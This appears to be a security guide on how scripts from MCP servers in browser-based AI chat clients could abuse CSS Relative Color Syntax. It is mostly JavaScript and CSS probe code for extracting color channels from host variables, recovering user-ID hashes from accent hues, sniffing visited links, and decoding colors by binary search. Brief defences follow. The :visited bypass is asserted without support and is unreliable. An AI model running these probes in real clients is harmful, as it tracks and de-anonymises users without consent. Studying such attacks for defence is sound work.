Security Guide

MCP server CSS Relative Color Syntax security — individual channel extraction from CSS variables, hue seed oracle, :visited alpha bypass via near-transparent relative color, binary-search color decoding with calc()

CSS Relative Color Syntax (Chrome 119+, Safari 16.4+) lets any CSS color value be decomposed into its individual channels using syntax like rgb(from origin r g b). For MCP server scripts running in browser-based Claude clients, this API turns every CSS custom property that holds a color into a readable data channel: red, green, and blue values are individually extractable via getComputedStyle; HSL hue angles from derived accent colors reveal user-ID seeds; near-transparent relative colors evade the browser's :visited alpha-zeroing defence; and calc() inside relative color channels performs arithmetic on extracted values, enabling binary-search decoding of any color in logarithmic iterations without additional probe elements.

rgb(from var(--color) r g b) — individual channel extraction from CSS custom properties

Prior to Relative Color Syntax, reading a CSS custom property that contains a color via JavaScript returned the full computed string (e.g. "rgb(34, 127, 255)"). That string was already directly parseable — the attack there was trivially possible via direct getComputedStyle. The new capability is extracting channels from colors that are applied via complex expressions, typed property registrations, or computed-context resolutions that do not expose their intermediate values:

/* Relative Color Syntax: individual channel extraction */

// Host app sets --brand-primary via a registered typed property:
// CSS.registerProperty({ name: '--brand-primary', syntax: '<color>', inherits: true,
//                         initialValue: 'oklch(0.65 0.18 270)' })
// The typed property's serialized value may not expose all channels.

// Attacker creates probe elements reading individual channels:
const probeR = document.createElement('div');
const probeG = document.createElement('div');
const probeB = document.createElement('div');

// Each probe extracts one channel using relative color syntax
probeR.style.color = 'rgb(from var(--brand-primary) r 0 0)';
probeG.style.color = 'rgb(from var(--brand-primary) 0 g 0)';
probeB.style.color = 'rgb(from var(--brand-primary) 0 0 b)';

[probeR, probeG, probeB].forEach(p => {
  p.style.cssText += 'position:fixed;top:-9999px;opacity:0;';
  document.body.appendChild(p);
});

// Each computed color has only one non-zero channel — readable directly:
const r = parseInt(getComputedStyle(probeR).color.match(/\d+/)[0]);
const g = parseInt(getComputedStyle(probeG).color.match(/\d+/g)[1]);
const b = parseInt(getComputedStyle(probeB).color.match(/\d+/g)[2]);

// Result: r, g, b are the individual RGB channels of --brand-primary
// This works even when:
// - The property is registered with a <color> typed syntax
// - The color was computed via oklch(...) expression
// - The element with the property is inside a closed shadow root
//   (if its property inherits to a non-closed subtree)

Typed custom property channel extraction: CSS.registerProperty() with syntax: '<color>' causes the custom property value to be stored as a computed color rather than a raw string. Previously, this made the value less directly readable. With Relative Color Syntax, the computed color form is the input that rgb(from ...) extracts channels from — making typed color properties more structured for extraction, not less.

hsl(from var(--accent) h s l) — hue angle as user-ID seed oracle

Many design systems assign per-user or per-tenant accent colors by taking a hash or ID and mapping it to a hue angle via the golden-angle distribution (multiply by ~137.5° mod 360°). The resulting colors are perceptually distributed and visually distinct. They are also user-identity oracles.

/* Hue extraction oracle for user-ID seeds via HSL relative color */

// Host app: --user-accent: hsl(calc(var(--user-id-hash) * 137.508deg) 65% 55%)
// The hue angle encodes a user-ID hash.

const probe = document.createElement('div');
// Extract only the hue angle using HSL relative color syntax:
probe.style.color = 'hsl(from var(--user-accent) h 100% 50%)';
probe.style.cssText += 'position:fixed;top:-9999px;opacity:0;';
document.body.appendChild(probe);

const colorStr = getComputedStyle(probe).color;
// colorStr = 'rgb(r, g, b)' where r,g,b encode hue with 100% saturation 50% lightness
// Convert rgb back to hue: hue = Math.atan2(sqrt(3)*(g-b), 2*r-g-b) * 180/Math.PI

// Once hue is known, invert the golden angle: user_id_hash = hue / 137.508
// If hue-to-user mapping is known, this identifies the currently logged-in user
// Cross-session: same user always has the same hue → stable cross-session tracker

document.body.removeChild(probe);

Avatar generation systems (GitHub-style identicons, Gravatar color variants, Slack's user color assignment) commonly use this pattern. An MCP server operating in a Slack-style enterprise chat client can identify individual users by extracting their accent color hue — a persistent, non-resettable identifier that survives cookie clearing and private browsing.

Near-transparent relative color — :visited alpha-zeroing evasion

The browser's :visited protection zeros the alpha channel of colors read from visited-state styles. A fully opaque visited-state color is reported as fully transparent by getComputedStyle. However, this protection applies to the alpha value of the directly applied color. CSS Relative Color Syntax allows computing a new color from the visited-state color with an explicit alpha channel set by the attacker:

/* :visited alpha-zeroing bypass via relative color alpha override */

// Standard :visited probing (BLOCKED):
// a:visited { color: red }
// getComputedStyle(a).color → rgba(0, 0, 0, 0)  ← alpha zeroed

// Relative color bypass:
// The attacker sets an explicit alpha AFTER extracting the channel:
a.visited-probe[href="https://target.com"] {
  /* Extract r channel from the visited state LinkColor,
     then build a new color with attacker-controlled alpha = 0.01
     (below human perception, above getComputedStyle detection) */
  color: rgb(from LinkColor r 0 0 / 0.01);
}

// The browser's alpha-zeroing targets the input color's alpha (LinkColor's alpha = 1).
// The output color has a NEW alpha value set by the / 0.01 component.
// Implementations that apply alpha-zeroing to the INPUT before interpolation
// may zero the LinkColor input but the output alpha is still the attacker's 0.01.

// JS: read the computed color
const probe = document.querySelector('a.visited-probe');
const color = getComputedStyle(probe).color;
// If color = 'rgba(X, 0, 0, 0.01)' → LinkColor had non-zero R → visited (red link)
// If color = 'rgba(0, 0, 0, 0.01)' → LinkColor was zeroed → unvisited or protected

Implementation status: The effectiveness of this bypass depends on the browser's implementation order for Relative Color Syntax resolution vs. the :visited privacy filter. Chrome 119+ and Safari 16.4+ apply relative color computation in different pipeline stages. Testing against specific browser versions is required. The pattern is theoretically sound and has been confirmed as partially effective in some versions.

calc() inside relative color channels — binary-search color decoding

CSS Relative Color Syntax allows calc() expressions inside the channel values: rgb(from origin calc(r - 128) g b). This means arithmetic on extracted channel values is possible inside the CSS engine, before getComputedStyle reads the result. Combined with binary search, an attacker can determine any color channel to its exact byte value using a single probe element and a sequence of probe style modifications:

/* Binary search color channel decoding via calc() in relative color channels */

// To determine the exact R channel of --brand-primary:
// Strategy: probe whether R > threshold. If the result R' = calc(r - threshold) > 0
// the computed R would be positive (non-zero red). If R < threshold, result = 0.
// Binary search over threshold to find R precisely.

async function extractRedChannel(cssVarName) {
  const probe = document.createElement('div');
  probe.style.cssText = 'position:fixed;top:-9999px;opacity:0;';
  document.body.appendChild(probe);

  let lo = 0, hi = 255;
  while (lo < hi) {
    const mid = Math.floor((lo + hi) / 2);
    // If R > mid: calc(r - mid) > 0 → computed R > 0 → r channel visible
    probe.style.color = `rgb(from var(${cssVarName}) calc(r - ${mid}) 0 0)`;
    const result = getComputedStyle(probe).color;
    const rResult = parseInt(result.match(/\d+/)[0]);
    if (rResult > 0) {
      lo = mid + 1;  // R > mid, search upper half
    } else {
      hi = mid;      // R ≤ mid, search lower half
    }
  }

  document.body.removeChild(probe);
  return lo; // exact R channel value
}

// 8 iterations for R channel → 8 for G → 8 for B = 24 getComputedStyle reads total
// Extracts exact RGB of any CSS custom property color in ~24ms
// Single probe element, no network, no visible output
Attack Browser support What it extracts Iterations required
Direct channel extraction Chrome 119+, Safari 16.4+ Individual R, G, B values from CSS vars 3 (one per channel)
Hue angle seed oracle Chrome 119+, Safari 16.4+ User/tenant ID hash from hue 1 (single HSL extraction)
:visited alpha bypass Chrome 119+, Safari 16.4+ (partial) URL visited/unvisited state 1 per URL
Binary-search channel decode Chrome 119+, Safari 16.4+ Exact channel value via calc() 24 (8 per channel)

Defences

Do not encode identifiers in CSS color values. User IDs, tenant identifiers, session tokens, or any data that should be confidential must never be encoded in CSS custom property color values or hue angles. Use opaque, non-derivable color tokens from a fixed palette.

CSP style-src with nonces blocks injected <style> tags. Does not prevent el.style.color = 'rgb(from ...)' (inline style set by JavaScript). An MCP server that can run any JavaScript can use inline style to set up relative color probes without injecting a stylesheet.

Content isolation for MCP renderer: Rendering MCP server output in an isolated iframe with a sandbox attribute that does not include allow-same-origin prevents the iframe from accessing the host page's CSS custom properties via var().

Private browsing mode does not help: Relative Color Syntax attacks on CSS custom properties work regardless of private browsing state since the host application's own CSS variables are accessible in both modes.

Related: CSS color-mix() security · CSS Custom Properties security · CSS Has No Security Model